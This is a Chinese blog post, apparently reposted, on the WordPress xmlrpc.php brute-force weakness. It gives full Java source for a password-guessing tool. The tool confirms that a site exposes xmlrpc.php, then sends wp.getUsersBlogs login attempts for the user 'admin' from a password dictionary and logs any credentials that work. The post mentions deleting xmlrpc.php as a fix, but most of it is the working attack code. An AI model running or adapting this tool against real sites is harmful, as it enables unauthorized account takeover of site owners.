博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Wordpress xmlrpc.php暴力破解漏洞
阅读量:6607 次
发布时间:2019-06-24

本文共 5470 字,大约阅读时间需要 18 分钟。

hot3.png

Wordpress xmlrpc.php暴力破解漏洞

wordpress是很流行的开源博客,它提供远程发布文章的方法,就是使用跟路径的xmlrpc.php这个文件,最近爆出xmlrpc漏洞,漏洞原理是通过xmlrpc进行认证,即使认证失败,也不会被Wordpress安装的安全插件记录,所以不会触发密码输错N次被锁定的情况。因此就可能被暴力破解,如果密码又是弱口令的话,就相当危险了。最简单的解决办法,就是删除xmlrpc.php这个文件。闲来无事,用java写了暴力破解的脚本,其实就是拿着各种用户名、密码去不断调用xmlrpc.phpp这个文件,检测认证结果,很简单。只为娱乐,暴力破解的事情,大家慎重。

Xmlrpc.java源码如下:

    package com.yeetrack.security.wordpress;    import org.apache.http.client.ClientProtocolException;    import org.apache.http.client.config.RequestConfig;    import org.apache.http.client.methods.CloseableHttpResponse;    import org.apache.http.client.methods.HttpGet;    import org.apache.http.client.methods.HttpPost;    import org.apache.http.entity.StringEntity;    import org.apache.http.impl.client.CloseableHttpClient;    import org.apache.http.impl.client.HttpClients;    import org.apache.http.util.EntityUtils;    import org.slf4j.Logger;    import org.slf4j.LoggerFactory;    import org.testng.annotations.Test;    import java.io.*;    /**     * Created by victor wang on 2014/8/2.     * 利用wordpress xmlrpc漏洞,暴力破解密码     */    public class Xmlrpc    {        private String userAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0";        RequestConfig requestConfig = RequestConfig.custom().setConnectionRequestTimeout(4000).setConnectTimeout(4000)                .setSocketTimeout(4000).build();        private static Logger logger = LoggerFactory.getLogger(Xmlrpc.class);        private CloseableHttpClient httpClient = HttpClients.custom()                .setUserAgent(userAgent)                .setDefaultRequestConfig(requestConfig)                .build();        /**         * 校验域名是否存在xmlrpc.php这个文件         */        private boolean checkXmlRpcFile(String domain)        {            domain = wrapperUrl(domain);            if(domain==null)                return false;            HttpGet get = new HttpGet("http://"+domain+"/xmlrpc.php");            get.addHeader("User-Agent", userAgent);            CloseableHttpResponse response = null;            String resultString = null;            try {                response = httpClient.execute(get);                if(null == response || response.equals(""))                    return false;                resultString = EntityUtils.toString(response.getEntity());            } catch (IOException e) {                e.printStackTrace();            }            return resultString.contains("XML-RPC server accepts POST requests only.");        }        /**         * 暴力尝试         */        private boolean forceLogin(String username, String password, String url)        {            //尝试登录            HttpPost post = new HttpPost("http://"+wrapperUrl(url)+"/xmlrpc.php");            post.addHeader("User-Agent", userAgent);            String xmlString = "
  
wp.getUsersBlogs
  
   
"+username+"
   
"+password+"
  
";            StringEntity entity = null;            try {                entity = new StringEntity(xmlString);                post.setEntity(entity);                CloseableHttpResponse response = httpClient.execute(post);                String loginResult = EntityUtils.toString(response.getEntity());                if(null== loginResult || loginResult.equals(""))                    return false;                if(loginResult.contains("isAdmin")) {                    logger.info(url + "登录成功,userename--->" + username + "  password--->" + password);                    return true;                }            } catch (UnsupportedEncodingException e) {                e.printStackTrace();            } catch (ClientProtocolException e) {                e.printStackTrace();            } catch (IOException e) {                e.printStackTrace();            }            return false;        }        /**         * 净化url,去掉http://或者末尾的path         */        private String wrapperUrl(String url)        {            if(null == url || url.equals(""))                return null;            if(url.startsWith("http://"))                url = url.substring(7);            if(url.contains("/"))                url = url.substring(0, url.indexOf("/"));            return url;        }        /**         * 破解         */        @Test        public void test()        {            String url = "http://somewordpress.com/xmlrpc.php";            if(!checkXmlRpcFile(url)) {                logger.info(url+"--->不存在xmlrpc漏洞");                return;            }            File file = new File("src/main/resources/1pass00.txt"); //密码字典,这个网上一堆一堆的,或者自己生成也可            try {                FileReader fileReader = new FileReader(file);                BufferedReader bufferedReader = new BufferedReader(fileReader);                String line = null;                int count = 1;                while ((line = bufferedReader.readLine()) != null) {                    System.out.println("" + count + "  " + line);                    if(forceLogin("admin", line, url))                        break;                    count++;                    //Thread.sleep(500);                }            } catch (Exception e) { e.printStackTrace(); }        }    }

项目使用maven管理,使用了apache的httpclient和log4j,pom.xml代码如下:

    
    
        
4.0.0
        
com.yeetrack.security
        
wordpress-xmlrpc
        
1.0-SNAPSHOT

转载于:https://my.oschina.net/u/147181/blog/297411

你可能感兴趣的文章
Shell脚本 常用命令总结 二
查看>>
Centos(Yum源更改)
查看>>
冰球游戏大概的模块
查看>>
PHP中htmlentities和htmlspecialchars的区别
查看>>
Best Part
查看>>
ClassPathXMLApplicationContext上下文加载过程
查看>>
JS模拟select下拉菜单
查看>>
线性方程组迭代求解——Jacobi迭代算法(Python实现)
查看>>
vmware workstation14永久激活密钥分享
查看>>
PHP面向对象的进阶学习(抽像类、接口、final、类常量)
查看>>
iOS 多线程 之 GCD(大中枢派发)(一)
查看>>
mysql用户与权限管理笔记
查看>>
Myeclipse中打开接口实现类的快捷键
查看>>
<20190516> 一次比较糟糕的售后维修体验(某硕主板)
查看>>
iOS网络篇2-http协议通信规则
查看>>
删除sql dump中的AUTO_INCREMENT
查看>>
使用JdbcTemplate和JdbcDaoSupport
查看>>
C博客作业--指针
查看>>
版本12.2.0.1.0数据库,复制种子数据库快速创建租户数据库PDB
查看>>
吴忠军中华演出网
查看>>